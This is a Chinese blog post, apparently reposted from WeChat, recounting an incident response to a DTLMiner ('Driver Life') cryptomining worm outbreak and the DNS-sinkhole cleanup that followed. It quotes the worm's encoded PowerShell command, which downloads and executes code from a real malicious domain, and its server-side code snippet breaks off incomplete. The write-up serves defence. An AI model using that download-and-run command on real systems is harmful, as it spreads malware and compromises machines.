阅读须知
文章仅供参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
背景
就在快下班的时候,运维人员突然通知我们,发现大量Windows机器的CPU占用异常,许多机器的占用率已经达到100%。我们立刻意识到问题可能比较严重。
起因
我们立即向运维人员索要了一台机器的账号和密码,远程登录查看情况。一上来就看到CPU占用率达到了100%。这情况很不正常,没有运行任何服务却如此高的占用,难道是被挖矿程序感染了吗?
执行 netstat -ano | findstr 445
后,发现了大量的445端口连接。初步判断可能是中毒了,而且扩散情况非常严重,还出现了扫描国外IP的连接,这不像是针对公司定向攻击的病毒。接下来,需要继续观察其他端口的连接信息。
通过 netstat -ano | findstr 1433
发现了大量对1433端口的连接。这表明可能还有其他类型的攻击活动在进行,需要进一步调查和分析。
我们判断服务器已经中毒了,因此运维部门也联系了安全公司,派遣了人员进行紧急处理。
病毒应急
时间紧迫,依靠自己最为可靠。作为安全工程师,此时必须主动出击。检查服务器进程时,发现了异常情况:在 svchost.exe
下运行着 powershell
进程,进一步查看发现其命令非常可疑。
powershell
命令如下:
powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=
解码后得到的命令是一个远程下载的 ps
命令,并且涉及到一个不熟悉的域名。这说明攻击者可能在尝试从该域名下载恶意程序。解码后的命令是:
IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)
微步在线查证后发现这个域名涉及到木马和驱动人生后门。
百度搜索该域名后也确认为驱动人生病毒后门病毒,不排除变种。
查看计划任务时,发现这台机器已经添加了许多定时任务,所有任务的详情都为相同的ps命令。
病毒通过 PowerShell 定时远程下载新的 PowerShell 脚本并执行,开始蠕虫式传播。以下是下载到的源码:
在查看 Windows 目录时,发现了大量随机命名的 exe 文件以及 mimikatz 运行日志。
获取到病毒样本的 MD5 值,并与已公布的 MD5 值一致,从而确认了是“驱动人生”病毒。那么整个过程可以大致归纳为以下几个步骤:
我和同事们整理了当前的情况:
-
该病毒通过永恒之蓝漏洞、弱口令、mimikatz 抓取域密码、数据库弱口令等方式传播。中毒的特征包括 CPU 使用率升高和对外请求恶意域名。
-
第一感染区域为办公网,目前无法确定感染的具体数量。
-
办公网与测试环境之间存在代理,相当于网段间的打通。
-
分公司办公网机器与总部之间未打通,但域控与总部连通。
-
目前在使用的 Windows Server 中,已有 90% 打了永恒之蓝补丁。
根据这些情况,我们首先要做的是防止病毒扩散。然而,我们已稍晚了一步,多个分公司在工作群中反馈杀毒软件弹窗,杀毒后仍然会出现感染,并且一些 DHCP 服务器由于病毒感染,导致员工网络无法连接。
我们立即远程查看了域控,发现它也已中招,情况非常严重。
同时,安全公司的应急响应工程师确认了此次中毒事件为“驱动人生”病毒,但无法确定第一台被感染的机器。他们建议全部安装杀毒软件并重启系统进行杀毒。不过,这样的建议对我们帮助有限,我们还是需要自己进行进一步处理。
考虑到病毒已经大范围扩散,我们需要采取有效的措施来清除病毒。根据对病毒的分析,病毒会通过 Windows 计划任务添加定时任务,并利用 PowerShell 下载病毒程序以绕过杀毒软件的检测。杀毒软件通常只能清除由 PowerShell 释放的 exe 文件,而 PowerShell 会持续释放新的病毒实例,因此仅依靠杀毒软件并不能从根本上清除病毒。
针对这种情况,如果我们采取以下措施,可能有助于控制病毒的扩散:
-
禁止服务器外网访问:通过切断与外网的连接,病毒将无法从外部服务器获取新的恶意程序,从而减少病毒的扩散和更新。
-
劫持恶意域名:将恶意域名的 DNS 请求劫持到内网服务器或无效 IP 地址,这样病毒无法联系其命令与控制服务器,从而阻止病毒下载新的恶意组件或接收命令。
-
下载清除脚本:利用病毒原有的逻辑,下载一个清除病毒的脚本。这可以通过计划任务的定时执行来完成,脚本应该包括彻底删除病毒文件和修复受感染的系统设置。
-
重启服务:重启受感染的服务以确保所有计划任务和病毒组件得到有效处理。
通过这些步骤,我们可以减少病毒的扩散,并在一定程度上清理感染。具体操作时,要确保对所有相关系统进行全面扫描和修复,以彻底根除病毒。
以下是控制病毒扩散和清除感染的逻辑步骤:
-
切断外网连接:
-
禁止服务器和工作站访问外网,防止病毒继续从外部服务器下载新的恶意程序和更新。 -
劫持恶意域名:
-
将病毒试图联系的恶意域名的 DNS 请求劫持到内网的安全服务器或无效 IP 地址,阻止病毒与其命令与控制服务器通信。 -
部署清除脚本:
-
删除恶意的计划任务和 PowerShell 脚本。 -
清除病毒相关的文件和进程。 -
修复被病毒篡改的系统设置和注册表项。 -
利用病毒已有的逻辑或手动部署一个清除脚本。脚本应包含以下内容: -
重启相关服务:
-
重新启动受感染的服务和系统,以确保所有清除脚本的修改生效,并且终止所有运行中的病毒进程。 -
全面扫描与修复:
-
对所有受影响的系统进行全面扫描,确保没有遗漏的病毒组件。 -
更新和加强系统的安全设置,包括应用最新的安全补丁、加强密码策略和禁用不必要的服务。
通过以上步骤,我们可以有效控制病毒的扩散,并清除已感染的系统。
逻辑步骤如下:
-
禁止外网访问:
-
IDC 机房的服务器禁止外网访问,以阻止病毒从外部服务器下载新的恶意程序。 -
办公网和测试网需要保持外网访问,但所有机器都使用公司的私有 DNS 服务器。 -
劫持恶意域名:
-
将域名 v.beahh.com
解析到公司内网的 IP 地址192.168.10.55
上。 -
在该 IP 地址上启动一个微型 Web 服务,处理所有请求并返回杀毒 PowerShell 脚本。 -
设置 Web 服务:
-
Nginx 配置:将所有请求重定向到
dns.php
。location / {
try_files '' /dns.php;
}
-
dns.php:
<?php
$ps = "Invoke-Expression ([System.Text.UnicodeEncoding]::Unicode.GetString([Convert]::FromBase64String("JABzAGUAcgB2AGkAYwBlAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAKAAiAFMAYwBoAGUAZAB1AGwAZQAuAFMAZQByAHYAaQBjAGUAIgApAA0ACgAkAHMAZQByAHYAaQBjAGUALgBDAG8AbgBuAGUAYwB0ACgAJABlAG4AdgA6AEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACkADQAKAEYAdQBuAGMAdABpAG8AbgAgAEQAZQBsAGUAdABlAFAAbwB3AGUAcgBzAGgAZQBsAGwAVABhAHMAawBTAGMAaABlAGQAdQBsAGUAcgAoACQAVABhAHMAawBQAGEAdABoACkAewANAAoAIAAgACAAIAAkAGYAbwBsAGQAZQByAD0AJABzAGUAcgB2AGkAYwBlAC4ARwBlAHQARgBvAGwAZABlAHIAKAAkAFQAYQBzAGsAUABhAHQAaAApAA0ACgAgACAAIAAgACQAdABhAHMAawBpAHQAZQBtAD0AJABmAG8AbABkAGUAcgAuAEcAZQB0AEYAbwBsAGQAZQByAHMAKAAwACkADQAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAoACQAaQAgAGkAbgAgACQAdABhAHMAawBpAHQAZQBtACkAewANAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHMAawBzAD0AJABpAC4ARwBlAHQAVABhAHMAawBzACgAMAApAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAoACQAdABhAHMAawAgAGkAbgAgACQAdABhAHMAawBzACkAewANAAoAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAYQBzAGsATgBhAG0AZQA9ACQAdABhAHMAawAuAE4AYQBtAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdABhAHMAawBQAGEAdABoAD0AJAB0AGEAcwBrAC4AUABhAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AGEAcwBrAFgAbQBsAD0AJAB0AGEAcwBrAC4AWABtAGwADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAVwByAGkAdABlAC0ASABvAHMAdAAgACQAdABhAHMAawBOAGEAbQBlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKABbAFMAdAByAGkAbgBnAF0AOgA6AEkAcwBOAHUAbABsAE8AcgBFAG0AcAB0AHkAKAAkAHQAYQBzAGsAWABtAGwAKQApAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAC4ARABlAGwAZQB0AGUAVABhAHMAawAoACQAdABhAHMAawBOAGEAbQBlACwAMAApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACQAdABhAHMAawBOAGEAbQBlACAAcwBoAGMAZAB1AGwAZQAgAHQAcgBlAGUAIABlAHIAcgBvAHIAIAAsACAAZABlAGwAZQB0AGUAIABzAHUAYwBlAHMAcwAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAGwAcwBlAGkAZgAgACgAJAB0AGEAcwBrAFgAbQBsAC4AVABvAEwAbwB3AGUAcgAoACkALgBDAG8AbgB0AGEAaQBuAHMAKAAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgApACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBmAGkAbgBkACAAcwBjAGgAZQBkAHUAbABlAHIAIABzAGMAcgBpAHAAdAA6ACQAdABhAHMAawBQAGEAdABoACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AGEAcwBrAC4ARQBuAGEAYgBsAGUAZAA9ADAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAC4ARABlAGwAZQB0AGUAVABhAHMAawAoACQAdABhAHMAawBOAGEAbQBlACwAMAApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAC4ARABlAGwAZQB0AGUAVABhAHMAawAoACQAdABhAHMAawBOAGEAbQBlACwAMAApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoADQAKACAAIAAgACAAIAAgACAAIABEAGUAbABlAHQAZQBQAG8AdwBlAHIAcwBoAGUAbABsAFQAYQBzAGsAUwBjAGgAZQBkAHUAbABlAHIAKAAkAGkALgBQAGEAdABoACkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgB9AA0ACgBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBjAGwAZQBhAHIAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAcwBjAHIAaQBwAHQAIgANAAoARABlAGwAZQB0AGUAUABvAHcAZQByAHMAaABlAGwAbABUAGEAcwBrAFMAYwBoAGUAZAB1AGwAZQByACAALQBUAGEAcwBrAFAAYQB0AGgAIAAiAFwAIgANAAoAUgBlAHMAdABhAHIAdAAtAFMAZQByAHYAaQBjAGUAIABzAGMAaABlAGQAdQBsAGUADQAKAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQA=")));";
# 请求任何 URL 都返回 PS 可执行代码
@route('/<n:path>', method
修改DNS:
短时间很多机器的请求:
在自动执行 PowerShell 脚本后,计划任务已成功删除。
通过将 Nginx 日志或 Web 日志与 ELK 结合,可以直观地识别哪些机器已经感染病毒,哪些机器成功下载了杀毒 PowerShell 脚本。
此外,可以让运维团队将日志通过 Grafana 展示出来,这样会更加直观,便于我们后续跟进杀毒情况。下图中的“中毒机器列表”展示了如何将这种监控常态化。即使以后有新的病毒公布,只需在 DNS 中新增恶意域名,即可监控主机的异常请求。
经过几天的不懈努力,我们终于完全控制了病毒的扩散。随后,通过对员工电脑的排查,我们发现某位员工在公司内部重装了自己的电脑,并下载了“驱动人生”以安装驱动,这导致了病毒在公司内部的扩散。
复盘总结
整个应急处理流程从开始到结束共历时3天,最终基本完成了内网感染主机的清除工作。部分主机需要手动重启才能有效解决问题。
时间节点如下:
-
2019.5.7 16:00:发现多台服务器 CPU 负载异常高。 -
2019.5.7 16:30:多个分公司办公网的杀毒软件频繁弹窗警告。 -
2019.5.7 17:00:确认感染病毒,病毒为“驱动人生”捆绑的挖矿病毒 DTLMiner。 -
2019.5.7 17:10:服务器禁止对外访问,将恶意域名劫持到内网机器 192.168.10.55。 -
2019.5.7 17:40:在内网机器 192.168.10.55 上启动 Web 服务,返回查杀 PowerShell 脚本并记录日志。 -
2019.5.7 18:00:机房 IDC 网络出现流量设备大量告警,同时存在永恒之蓝攻击警告。 -
2019.5.7 20:00:办公网、机房、测试网及分公司专线 DNS 全部解析恶意域名到同一网段的多台内网机器。 -
2019.5.7 22:00:第一波查杀结束,成功清除病毒的主机达到 1200 多台,近一半的 Windows 服务器被感染,所有主机进行定时重启。 -
2019.5.8 18:00:对各网段部署蜜罐和主机防护 Agent,提高安全监测能力。 -
2019.5.9 14:40:基本不再产生告警。 -
2019.5.9 16:00:完成总结复盘。
在禁止外网访问后,我们发现大部分病毒扩散是由于内网服务器使用了相同的口令。
后续反思
-
平时的安全基线检查不到位,特别是内网的弱口令问题。运维人员为了便于管理,使用了相同的密码,应定期修改密码,并确保内网中的服务器不使用相同密码。
-
办公网络的准入策略未实施,未来需要将准入控制纳入工作计划中。
-
服务器备份不完整,许多业务机器只对单点服务进行了备份,这对中毒后的业务恢复造成了很大影响。应要求对重要业务进行增量备份,并定期检查备份情况。
-
网络隔离不够规范,存在为了便利而打通网段的情况。制定的安全规范和策略难以遵守和检查,需要加强巡检和落实。
-
这种方法可以结合基线检查和加固脚本,防止这批机器后续继续中毒。
-
安全工作应侧重于事前准备,而非事后补救。每一次的教训都提醒我们企业安全的薄弱环节,只有认识到不足,才能进一步提升安全水平。
原文始发于微信公众号(网安守护):(自从踏入安全这行,从没应急成功过任何病毒) windows系统下一次病毒失败的应急
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论